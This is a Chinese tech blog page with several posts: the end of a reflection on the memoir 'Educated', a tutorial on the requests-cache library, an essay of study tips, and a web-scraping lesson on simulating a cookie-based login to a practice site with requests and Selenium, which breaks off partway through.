嗯,写到这里,我又理解到了什么。

是的,或许总有一些人即使互相深爱着彼此,但如果二者无法达成观念上的一致,无法真正理解对方的话,最好的结局或许就是分开吧。在这里我说的是塔拉的家庭的理解,但也可以扩展到其他的地方。

嗯,最近我也在看阿德勒心理学,像《被讨厌的勇气》,阿德勒有这样的一句话:“幸福的人用童年治愈一生,不幸的人用一生治愈童年。”原生家庭的影响对一个人真的是巨大的,这个影响可能需要用一生来弥补和改变。

但是,这本书告诉我们,生活在不幸的家庭,将来就一定会不幸吗?未必的。塔拉面临这样的家庭,面临这样的逆境,她最终成功了,一般情况下,我们面临的困难可能比塔拉小多了,塔拉可以,我们其实也可以。但这个蜕变的过程中,什么才是最重要的呢?是自己强大的内心,只有内心的强大的力量才能促成这种改变。

我想进一步展开升华下主旨。

反过来映射一下,对于我们的家庭来说。可能从小父母就说过:“我这么做是为了你好”,年少的时候,我们很多事都是听父母的,小时候的很多的选择一直到长大,读中学、上大学、选专业、就业、结婚、生子仿佛很多事情都很多受到父母的引导、操控,甚至我们自己就主动变得事事都去听父母的,甚至习以为常,甚至都觉得不应该去反抗,以为这些都是理所当然。但想想,真的是对的吗?

另外试想,如果说这一生,我们就是在这样就业、赚钱、结婚、生子、抚养孩子,终老一生,这是我们想要的吗?你心甘情愿自己的一生就这么过去吗?不想着去经历些什么吗?你小时候的梦想还在吗?多问问自己,真的是这样的吗?我们一直追逐的金钱、地位,到头来真的是最重要的吗?我们从小到老,承担着的这些角色,这些生活,真的是自己想要的吗?如果你的确想清楚了,这就是你想要的,或者和父母的设想完全一致,那可以,勇敢去做。如果答案是否,那或许要想想,是否要做出一些改变?

嗯,我还想说的是,父母不应该以爱之名去操控孩子的成长,可以给予帮助,但不能决定孩子的未来。反过来,孩子也是一样,不能以自己以为的正确去改变父母。

每个人,注定地只能去自我探寻自我、自我选择、自我教育、自我塑造。

走大家都觉得“正确”的事情很难,改变也可能很难,想清楚,每一种方式都会有牺牲,每个改变都可能带来不一样的生活。

每个人的生命其实都是一种自我救赎,有时虽然孤独,但是充满力量,遵从自己的内心,想想自己真正想要什么,想想自己想变成怎样的人。如果现在没有答案,那多去看看,多去思考思考。

希望你和我,都能有一个无悔的人生。

你当像鸟,飞往你的山。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

在做爬虫的时候,我们往往可能这些情况:

  • 网站比较复杂,会碰到很多重复请求。
  • 有时候爬虫意外中断了,但我们没有保存爬取状态,再次运行就需要重新爬取。

还有诸如此类的问题。

那怎么解决这些重复爬取的问题呢?大家很可能都想到了“缓存”,也就是说,爬取过一遍就直接跳过爬取。

那一般怎么做呢?

比如我写一个逻辑,把已经爬取过的 URL 保存到文件或者数据库里面,每次爬取之前检查一下是不是在列表或数据库里面就好了。

是的,这个思路没问题,但有没有想过这些问题:

  • 写入到文件或者数据库可能是永久性的,如果我想控制缓存的有效时间,那就还得有个过期时间控制。
  • 这个缓存根据什么来判断?如果仅仅是 URL 本身够吗?还有 Request Method、Request Headers 呢,如果它们不一样了,那还要不要用缓存?
  • 如果我们有好多项目,难道都没有一个通用的解决方案吗?

的确是些问题,实现起来确实要考虑很多问题。

不过不用担心,今天给大家介绍一个神器,可以帮助我们通通解决如上的问题。

介绍

它就是 requests-cache,是 requests 库的一个扩展包,利用它我们可以非常方便地实现请求的缓存,直接得到对应的爬取结果。

  • GitHub:https://github.com/reclosedev/requests-cache
  • PyPi:https://pypi.org/project/requests-cache/
  • 官方文档:https://requests-cache.readthedocs.io/en/stable/index.html

下面我们来介绍下它的使用。

安装

安装非常简单,使用 pip3 即可:

1
pip3 install requests-cache

安装完毕之后我们来了解下它的基本用法。

基本用法

下面我们首先来看一个基础实例:

1
2
3
4
5
6
7
8
9
10
import requests
import time

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们请求了一个网站,是 http://httpbin.org/delay/1,这个网站模拟了一秒延迟,也就是请求之后它会在 1 秒之后才会返回响应。

这里请求了 10 次,那就至少得需要 10 秒才能完全运行完毕。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 13.17966604232788

可以看到,这里一共用了13 秒。

那如果我们用上 requests-cache 呢?结果会怎样?

代码改写如下:

1
2
3
4
5
6
7
8
9
10
11
import requests_cache
import time

start = time.time()
session = requests_cache.CachedSession('demo_cache')

for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们声明了一个 CachedSession,将原本的 Session 对象进行了替换,还是请求了 10 次。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 1.6248838901519775

可以看到,一秒多就爬取完毕了!

发生了什么?

这时候我们可以发现,在本地生成了一个 demo_cache.sqlite 的数据库。

我们打开之后可以发现里面有个 responses 表,里面多了一个 key-value 记录,如图所示:

我们可以可以看到,这个 key-value 记录中的 key 是一个 hash 值,value 是一个 Blob 对象,里面的内容就是 Response 的结果。

可以猜到,每次请求都会有一个对应的 key 生成,然后 requests-cache 把对应的结果存储到了 SQLite 数据库中了,后续的请求和第一次请求的 URL 是一样的,经过一些计算它们的 key 也都是一样的,所以后续 2-10 请求就立马返回了。

是的,利用这个机制,我们就可以跳过很多重复请求了,大大节省爬取时间。

Patch 写法

但是,刚才我们在写的时候把 requests 的 session 对象直接替换了。有没有别的写法呢?比如我不影响当前代码,只在代码前面加几行初始化代码就完成 requests-cache 的配置呢?

当然是可以的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache')

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这次我们直接调用了 requests-cache 库的 install_cache 方法就好了,其他的 requests 的 Session 照常使用即可。

我们再运行一遍:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 0.018644094467163086

这次比上次更快了,为什么呢?因为这次所有的请求都命中了 Cache,所以很快返回了结果。

后端配置

刚才我们知道了,requests-cache 默认使用了 SQLite 作为缓存对象,那这个能不能换啊?比如用文件,或者其他的数据库呢?

自然是可以的。

比如我们可以把后端换成本地文件,那可以这么做:

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache', backend='filesystem')

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们添加了一个 backend 参数,然后指定为 filesystem,这样运行之后本地就会生成一个 demo_cache 的文件夹用作缓存,如果不想用缓存的话把这个文件夹删了就好了。

当然我们还可以更改缓存文件夹的位置,比如:

1
requests_cache.install_cache('demo_cache', backend='filesystem', use_temp=True)

这里添加一个 use_temp 参数,缓存文件夹便会使用系统的临时目录,而不会在代码区创建缓存文件夹。

当然也可以这样:

1
requests_cache.install_cache('demo_cache', backend='filesystem', use_cache_dir=True)

这里添加一个 use_cache_dir 参数,缓存文件夹便会使用系统的专用缓存文件夹,而不会在代码区创建缓存文件夹。

另外除了文件系统,requests-cache 也支持其他的后端,比如 Redis、MongoDB、GridFS 甚至内存,但也需要对应的依赖库支持,具体可以参见下表:

Backend Class Alias Dependencies
SQLite SQLiteCache 'sqlite'
Redis RedisCache 'redis' redis-py
MongoDB MongoCache 'mongodb' pymongo
GridFS GridFSCache 'gridfs' pymongo
DynamoDB DynamoDbCache 'dynamodb' boto3
Filesystem FileCache 'filesystem'
Memory BaseCache 'memory'

比如使用 Redis 就可以改写如下:

1
2
backend = requests_cache.RedisCache(host='localhost', port=6379)
requests_cache.install_cache('demo_cache', backend=backend)

更多详细配置可以参考官方文档:https://requests-cache.readthedocs.io/en/stable/user_guide/backends.html#backends

Filter

当然,我们有时候也想指定有些请求不缓存,比如只缓存 POST 请求,不缓存 GET 请求,那可以这样来配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache2', allowable_methods=['POST'])

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for get', end - start)
start = time.time()

for i in range(10):
session.post('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for post', end - start)

这里我们添加了一个 allowable_methods 指定了一个过滤器,只有 POST 请求会被缓存,GET 请求就不会。

看下运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time for get 12.916549682617188
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time for post 1.2473630905151367

这时候就看到 GET 请求由于没有缓存,就花了 12 多秒才结束,而 POST 由于使用了缓存,一秒多就结束了。

另外我们还可以针对 Response Status Code 进行过滤,比如只有 200 会缓存,则可以这样写:

1
2
3
4
5
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache2', allowable_codes=(200,))

当然我们还可以匹配 URL,比如针对哪种 Pattern 的 URL 缓存多久,则可以这样写:

1
2
3
urls_expire_after = {'*.site_1.com': 30, 'site_2.com/static': -1}
requests_cache.install_cache(
'demo_cache2', urls_expire_after=urls_expire_after)

这样的话,site_1.com 的内容就会缓存 30 秒,site_2.com/static 的内容就永远不会过期。

当然,我们也可以自定义 Filter,具体可以参见:https://requests-cache.readthedocs.io/en/stable/user_guide/filtering.html#custom-cache-filtering

Cache Headers

除了我们自定义缓存,requests-cache 还支持解析 HTTP Request / Response Headers 并根据 Headers 的内容来缓存。

比如说,我们知道 HTTP 里面有个 Cache-Control 的 Request / Response Header,它可以指定浏览器要不要对本次请求进行缓存,那 requests-cache 怎么来支持呢?

实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache3')

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1',
headers={
'Cache-Control': 'no-store'
})
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for get', end - start)
start = time.time()

这里我们在 Request Headers 里面加上了 Cache-Controlno-store,这样的话,即使我们声明了缓存那也不会生效。

当然 Response Headers 的解析也是支持的,我们可以这样开启:

1
requests_cache.install_cache('demo_cache3', cache_control=True)

如果我们配置了这个参数,那么 expire_after 的配置就会被覆盖而不会生效。

更多的用法可以参见:https://requests-cache.readthedocs.io/en/stable/user_guide/headers.html#cache-headers

总结

好了,到现在为止,一些基本配置、过期时间配置、后端配置、过滤器配置等基本常见的用法就介绍到这里啦,更多详细的用法大家可以参考官方文档:https://requests-cache.readthedocs.io/en/stable/user_guide.html

希望对大家有帮助。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人随笔

利用好搜索引擎

互联网时代,我们面临的是知识爆炸而不是知识匮乏。网上有很多很多好的学习资源,比如一些学习文档、疑难问题解决方案,很多都可以在网上搜到。

虽然网上有这些内容,但不同的搜索方法和用不同的搜索引擎搜到的结果就大不一样。

比如说,我们平时遇到了一些编程相关的问题,在谷歌中用英文搜索的结果在绝大多数情况下都会比在百度用中文搜索的结果好。比如说前者的结果通常就会是一些官方文档说明,而后者大多都是一些中文版 CSDN 博客,谁更前沿、更权威高下立判了。

我是做技术相关的,所以对于一些技术内容,我个人是非常建议首选谷歌英文搜索的,多数情况下能够更快更好地解决问题。

多看一手资料

我们知道,现在网上很多框架、工具,其都会配一个官方文档,比如 Python 的某个工具库、Vue 的的某个脚手架等等,同时很多源码也会在 GitHub 上公开。

我们如果要进行学习这些内容的话,我个人推荐尽量多去查询一些一手的资料,比如一些入门使用方法,可以尽量去看官方文档的一些 Get Started 部分;比如一些疑难 Issues,可以去 GitHub Issues 区搜索下关键词。

当然有的同学会说,官方文档都是些英文的,我看不懂啊,所以通常都会去搜索一些博客文章来看,比如一些中文博客的教程。可以是可以,也的确有一些优秀的博主能写出一些不错的文章,但毕竟还是少,而且这永远都不是一手资料,多数情况下,博客的文章也会有一些实效性的问题或者难免会出现一些错误。

所以,我个人还是推荐尽量去看一手资料。但一手的资料通常英文居多,但还是建议大家能够尽量地适应去读英文文档,如果能够做到的话,我们获取知识的能力会继续上一个台阶。

时间管理和分类

每个人的精力都是有限的,一些工作和其他的琐事可以说是无穷无尽的。

所以,在做一些工作和学习的事情的时候,我们需要去区分优先级和重要程度,也就是能够合理地管理好自己要做的事情。

我个人会用一个清单软件(我用的滴答清单)来记录我所有需要做的事情,然后会给每个事情进行分类,比如说我会划分工作、学习、私人、购物、电影等等各种分类,然后每个任务都会指定好优先级和过期事件。指定好了之后,清单软件有一些功能可以给我筛选出来哪些是紧急重要,哪些是不紧急重要,哪些是紧急不重要等等的事情,然后我会有选择地去做对应的事情。比如说我会把大量的时间花在重要的事情上,不紧急不重要的可以看看能否尽量规避或者找人代做,总之不同的类型需要有不同的应对方案。

另外还有一些习惯养成类的事情,比如说定期的学习计划、定期的健身、定期的冥想、定期的跑步,也可以列入到个人的事件规划中。我通常以打卡的形式记录在清单软件中,每天都会有定期提醒,这样做完之后我就会打一次卡,看着越来越满的打卡记录,会感觉比较有成就感,大家也可以来试试。

要有一个短期目标

我们有时候做事的时候,脑子里知道很多长远的目标是什么。比如说,我长远计划里面有一个事情是要做一个网站系统,这是一个大目标,同时也有一个长远计划是要学习精通一门编程语言,这也是一个大目标。很多大目标都在我们的潜意识里面存留着。

现在问一个问题,虽然这些大的目标都在我们脑海里,但有没有一个时间,自己突然闲下来或者临时没有事的时候,却不知道这个空闲的时间去做什么?

如果有,那很可能就是因为没有短期目标。因为这个目标在我们的脑海中太大了,根本无法落实到执行的地步,所以我们需要做的事就是把一些目标进行拆解,拆解到什么地步呢?拆解到能够想到就能立马开始做的地步,这就是一些短期目标。

比如说,我们要学习一门课,我们可以给自己列个计划,比如哪天可以看哪个视频,或者一篇文章,这是知道了就能立马去做的事情。

所以,有了这个短期目标,我们能够更好地落实到执行上,这也是能够有效延缓拖延的方法。

不要完美主义

在做一些事情的时候,我们不要过分地追求完美主义。不是说不好,是因为这样很容易消磨我们的精力和耐心。

比如说,我们学习背单词吧,比如每天的计划是 20 个单词,好第一天背了 20 个,然后接着第二天的时候发现前 20 个单词没有背过,然后就接着背前 20 个单词,然后第三天的时候发现第一天和第二天的 40 个还是记得不牢固,然后就觉得好难,最后就放弃了,这就是因为过分追求完美主义导致的问题。

学习并不是非 0 即 1 的,我们如果能够学会 20%、60%、80% 也是一个不错的进步。

所以,我们不要执着于完美主义,非要做到 100% 不可,这样会把自己的精力和耐心慢慢消磨,直到放弃。

不是所有教材都适合每个人

并不是所有权威教材都是适合每个人的,要去寻找适合自己的学习方式。

市面上其实有很多所谓的权威教材或者网红教材,但这些教材并不是万能的,众口是很难调的,因为每个人的基础、水平都是不同的。

比如说一本书里面在前面的章节写了一些基础的环境配置和基础知识,有些人就会觉得非常友好,会觉得非常实用,但有些人就会觉得非常啰嗦,没有重点。比如说有人在学习一个框架和库的时候就喜欢看视频学习,因为这样能够看到具体的操作流程,但有些人就会觉得看视频学习非常浪费时间,而且知识点不好找,还是看官方文档或看书更方便。

这些学习方法和偏好没有绝对的对与不对,我们也不用非要跟风去购买和学习某个特定的教材和学习形式,适合自己的才是最好的。

多进行总结和记录

这个是非常非常非常重要的,在学习的过程中把学习笔记记录下来是一个非常好而且有效的学习习惯。

好处有这么以下几点:

  • 自己的学习笔记是对自己学习过程的梳理和总结,梳理和总结的过程就是一个学习复盘的过程,能够加深自己对知识点的印象。
  • 方便复习会看,好记性不如烂笔头。写下来之后,如果我们想要对某个知识点进行复习,是非常容易的,因为文章的整体思路本身就是自己的,要捡起来也非常容易。
  • 如果我们能够把学习内容整理发表出去,大家也可以对文章进行阅读和评论,在讨论的过程中可以有更多思维火花的碰撞,说不定能有更深入的了解。
  • 能够帮助更多的人,因为我们遇到的问题通常也是别人遇到的,如果能够帮助更多的人,心里肯定也是很有成就感的。

学习要有深有浅

学习一个知识点,我们也是需要有深浅的控制的,也是需要评估一些学习时间和成本的。

比如一个知识点,我们可以给它划分成三个层级,第一层级是会用即可,第二层级是熟练运用,第三层是深刻理解并改写。

在我们日常的工作中,由于不同技术栈和项目的需要,对一些知识的需求也会不一样,比如一些核心的技术,我们就需要深入理解并改写。比如说假如我是做 Scrapy 爬虫的,那对于 Scrapy 框架我就需要做到第三个层次,即深入理解并能改写;对于一些较高频的工具,比如 argparse,那我们就需要做到熟练运用;但对于一些低频且比较边角的知识点,我们只要花最少的时间知道它最基本的用法就好了,因为可能我们就是用到了它的最基本的用法解决了一个边角问题,所以没必要花太多时间在上面。

所以,对于一些学习内容,我们要能够分清楚这个知识点应该学到什么地步,然后采取对应的学习方案。

路径依赖

我们在学习的时候要尽量避免一些路径依赖的问题。

比如说,一位同学要学习 Python 机器学习相关内容,Python 机器学习的基础是一些 Python 和数学相关的内容,那他就非要把 Python 和数学的知识先全部研究透,比如说把所有的 Python 基础全学一遍、把所有的高等数学、统计学的知识全都学一遍,然后再回过头来学习 Python 机器学习,结果学习的时候发现很多 Python 基础和数学基础都用不到,然后久而久之,用不到的 Python 基础和数学基础就慢慢忘记了,而且 Python 机器学习的学习周期也被大大拉长。

这个例子中出现的就是路径依赖问题,我们其实没必要非要把所有的依赖项都完美一个个地彻底解决了再来学习对应的知识,知识点都是有关联的,我们在学习的时候可以以最终的结果为导向。

比如说,我今天要学 Python 机器学习,比如一个分类算法的实现,那我就把 Python 的模型定义、类定义、方法定义学会,同时研究好数学中的分类算法的思路,那就可以去学习 Python 机器学习了,这样整体效果也会更快更好,同时学习到的知识也能够用得上,且紧密关联。

学习优秀的源码

很多很多优秀的编程思路和方法其实都隐藏在一些优秀的源代码库里面。

比如说,学习爬虫,Scrapy 框架为什么能够做到这么好的扩展性?比如说,学习网站开发,Vue 为什么能够吸引这么多开发者学习?这其中都是有一定原因的,这些优秀的框架也是有它们的过人之处的,另外一些优秀的源码里面通常质量也会很高。

所以,我们如果能够多去阅读一些优秀的框架或库的源码,能够学到很多有用的编程思路和技巧的,如果能够把这些思路和知识运用到自己的工作和项目中,那一定会大有帮助。

实践很重要

这个就不用多说了,光说不练,等于白搭。

对于我们做技术的来说,如果我们只是干巴巴地阅读一些官方文档和教程,而不去实际编写一些代码运行的话,收获是很少的。

一般来说,如果我们学习一些框架和库的时候,如果能够跟着把一些样例敲下来,真的能够理解深入很多。通常,阅读的时候我们不会发现问题,但一但一点点跟着敲下来,把代码运行起来,我们会发现很多潜在的问题,而且会对问题的认识更加深刻。

还有就是,遇到问题的时候,我们也需要多去实践和探索,如果不是十分紧急,我们可以尽量去尝试去搜索问题的解决方案,去 debug,去找 root cause,这样我们就能对某个问题有更加深刻的认识,同时自己解决问题的能力也会大大提高。

贵有恒

是的,做一件事或者学习一个知识,一个非常非常重要的要素就是有恒心,即坚持。

贵有恒,何必三更起五更睡。

是的,做成一件事一个很大的拦路虎就是半途而废、三天打鱼两天晒网,这样很容易做着做着就没有下文了,然后就再也没有然后了,很多很多的事情就是因为这个而失败了。

贵有恒,坚持下来,做好计划,一件事,如果我们能够坚持做下来,一天天慢慢积累,其威力是无穷的。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在上一节我们了解了网站登录验证和模拟登录的基本原理。网站登录验证主要有两种实现方式,一种是基于 Session + Cookies 的登录验证,另一种是基于 JWT 的登录验证。接下来两节,我们就通过两个实例来分别讲解这两种登录验证的分析和模拟登录流程。

本节主要介绍 Session + Cookie 模拟登录的流程。

1. 准备工作

在本节开始之前,我们需要先做好如下准备工作。

  • 安装好了 requests 请求库并学会了其基本用法。
  • 安装好了 Selenium 库并学会了其基本用法。

下面我们就用两个案例来分别讲解模拟登录的实现。

2. 案例介绍

本节有一个适用于 Session + Cookie 模拟登录的案例网站,网址为:https://login2.scrape.center/,访问之后,我们会看到一个登录页面,如图所示:

image-20210711021407260

我们输入用户名和密码(用户名和密码都是 admin),然后点击登录。登录成功后,我们便可以看到一个和之前案例类似的电影网站,如图所示。

image-20210711021454920

这个网站是基于传统的 MVC 模式开发的,因此也比较适合 Session + Cookie 的模拟登录。

3. 模拟登录

对于这个网站,我们如果要模拟登录,就需要先分析登录过程究竟发生了什么。我们打开开发者工具,重新执行登录操作,查看其登录过程中发生的请求,如图所示。

image-20210711021940703

图 10-5 登录过程中发生的请求

从图 10-5 中我们可以看到,在登录的瞬间,浏览器发起了一个 POST 请求,目标 URL 为 https://login2.scrape.center/login,并通过表单提交的方式像服务器提交了登录数据,其中包括 username 和 password 两个字段,返回的状态码是 302,Response Headers 的 location 字段为根页面,同时 Response Headers 还包含了 set-cookie 信息,设置了 Session ID。

由此我们可以发现,要实现模拟登录,我们只需要模拟这个请求就好了。登录完成后获取 Response 设置的 Cookie,将它保存好,后续发出请求的时候带上 Cookies 就可以正常访问了。

好,那么我们就来用代码实现一下吧!

在默认情况下,每次 requests 请求都是独立且互不干扰的,比如我们第一次调用了 post 方法模拟登录了一下,紧接着再调用 get 方法请求主页面。其实这是两个完全独立的请求,第一次请求获取的 Cookie 并不能传给第二次请求,因此常规的顺序调用是不能起到模拟登录效果的。

我们来看一段无效的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

response_login = requests.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
})

response_index = requests.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

这里我们先定义了几个基本的 URL 、用户名和密码,然后我们分别用 requests 请求了登录的 URL 进行模拟登录,紧接着请求了首页来获取页面内容,能正常获取数据吗?由于 requests 可以自动处理重定向,我们可以在最后把 Response 的 URL 打印出来,如果它的结果是 INDEX_URL,那么证明模拟登录成功并成功爬取到了首页的内容。如果它跳回到了登录页面,那就说明模拟登录失败。

我们通过结果来验证一下,运行结果如下:

1
2
Response Status 200
Response URL https://login2.scrape.center/login?next=/page/1

这里可以看到,其最终的页面 URL 是登录页面的 URL。另外这里也可以通过 Response 的 text 属性来验证下页面源码,其源码内容就是登录页面的源码内容,由于内容较多,这里就不再输出比对了。

总之,这个现象说明我们并没有成功完成模拟登录,这是因为 requests 直接调用 postget 等方法,每次请求都是一个独立的请求,都相当于是新开了一个浏览器打开这些链接,所以这两次请求对应的 Session 并不是同一个,这里我们模拟了第一个 Session 登录,并不能影响第二个 Session 的状态,因此模拟登录也就无效了。

那么怎样才能实现正确的模拟登录呢?

我们知道 Cookie 里面是保存了 Session ID 信息的,刚才也观察到了登录成功后 Response Headers 里面有 set-cookie 字段,实际上这就是让浏览器生成了 Cookie。因为 Cookies 里面包含了 Session ID 的信息,所以只要后续的请求带着这些 Cookie,服务器便能通过 Cookie 里的 Session ID 信息找到对应的 Session 了,因此,服务端对于这两次请求就会使用同一个 Session 了。因为第一次我们已经成功完成了模拟登录,所以 Session 里面就记录了用户的登录信息,在第二次访问的时候,由于是同一个 Session,服务器就能知道用户当前是登录状态,那就能够返回正确的结果而不再是跳转到登录页面了。

所以,这里的关键在于两次请求的 Cookie 的传递。这里我们可以把第一次模拟登录后的 Cookie 保存下来,在第二次请求的时候加上这个 Cookie,代码可以改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

response_login = requests.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
}, allow_redirects=False)

cookies = response_login.cookies
print('Cookies', cookies)

response_index = requests.get(INDEX_URL, cookies=cookies)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

由于 requests 可以自动处理重定向,所以我们模拟登录的过程要加上 allow_redirects 参数并将其设置为 False,使其不自动处理重定向。我们将登录之后返回的 Response 赋值为 response_login,这样调用 response_logincookies 就是获取了网站的 Cookie 信息了。这里 requests 自动帮我们解析了 Response Headers 的 set-cookie 字段并设置了 Cookie,所以我们不用再去手动解析 Response Headers 的内容了,直接使用 response_login 对象的 cookies 方法即可获取 Cookie。

好,接下来我们再次用 requests 的 get 方法来请求网站的 INDEX_URL。不过这里和之前不同,get 方法增加了一个参数 cookies,这就是第一次模拟登录完之后获取的 Cookie,这样第二次请求就能携带第一次模拟登录获取的 Cookie 信息了,此时网站会根据 Cookie 里面的 Session ID 信息查找到同一个 Session,校验其已经是登录状态,然后返回正确的结果。

这里我们还是输出最终的 URL,如果它是 INDEX_URL,就代表模拟登录成功并获取了有效数据,否则就代表模拟登录失败。

我们看下运行结果:

1
2
3
Cookies <RequestsCookieJar[<Cookie sessionid=psnu8ij69f0ltecd5wasccyzc6ud41tc for login2.scrape.center/>]>
Response Status 200
Response URL https://login2.scrape.center/page/1

这下没有问题了,我们发现其 URL 就是 INDEX_URL,模拟登录成功了!同时还可以进一步输出 response_indextext 属性看下是否获取成功。

后续用同样的方式爬取即可。但其实我们发现,这种实现方式比较烦琐,每次还需要处理 Cookie 并一次传递,有没有更简便的方法呢?

有的,我们可以直接借助于 requests 内置的 Session 对象来帮我们自动处理 Cookie,使用了 Session 对象之后,requests 会自动保存每次请求后需要设置的 Cookie ,并在下次请求时自动携带它,就相当于帮我们维持了一个 Session 对象,这样就更方便了。

所以,刚才的代码可以简化如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib.parse import urljoin

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

session = requests.Session()

response_login = session.post(LOGIN_URL, data={
'username': USERNAME,
'password': PASSWORD
})

cookies = session.cookies
print('Cookies', cookies)

response_index = session.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

可以看到,这里我们无须再关心 Cookie 的处理和传递问题,我们声明了一个 Session 对象,然后每次调用请求的时候都直接使用 Session 对象的 postget 方法就好了。

运行效果是完全一样的,结果如下:

1
2
3
Cookies <RequestsCookieJar[<Cookie sessionid=ssngkl4i7en9vm73bb36hxif05k10k13 for login2.scrape.center/>]>
Response Status 200
Response URL https://login2.scrape.center/page/1

因此,为了简化写法,这里建议直接使用 Session 对象进行请求,这样我们无须关心 Cookie 的操作了,实现起来会更加方便。

这个案例整体来说比较简单,但是如果碰上复杂一点的网站,如带有验证码,带有加密参数等,直接用 requests 并不好处理模拟登录,如果登录不了,那整个页面不就都没法爬取了吗?有没有其他的方式来解决这个问题呢?当然是有的,比如说我们可以使用 Selenium 来模拟浏览器,进而实现模拟登录,然后获取模拟登录成功后的 Cookie,再把获取的 Cookie 交由 requests 等来爬取就好了。

这里我们还是以刚才的页面为例,把模拟登录这块交由 Selenium 来实现,后续的爬取交由 requests 来实现,相关的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from urllib.parse import urljoin
from selenium import webdriver
import requests
import time

BASE_URL = 'https://login2.scrape.center/'
LOGIN_URL = urljoin(BASE_URL, '/login')
INDEX_URL = urljoin(BASE_URL, '/page/1')
USERNAME = 'admin'
PASSWORD = 'admin'

browser = webdriver.Chrome()
browser.get(BASE_URL)
browser.find_element_by_css_selector('input[name="username"]').send_keys(USERNAME)
browser.find_element_by_css_selector('input[name="password"]').send_keys(PASSWORD)
browser.find_element_by_css_selector('input[type="submit"]').click()
time.sleep(10)

# get cookies from selenium
cookies = browser.get_cookies()
print('Cookies', cookies)
browser.close()

# set cookies to requests
session = requests.Session()
for cookie in cookies:
session.cookies.set(cookie['name'], cookie['value'])

response_index = session.get(INDEX_URL)
print('Response Status', response_index.status_code)
print('Response URL', response_index.url)

这里我们使用 Selenium 先打开了 Chrome,然后跳转到了登录页面,随后模拟输入了用户名和密码,接着点击了登录按钮,我们可以发现浏览器提示登录成功,然后跳转到了主页面。

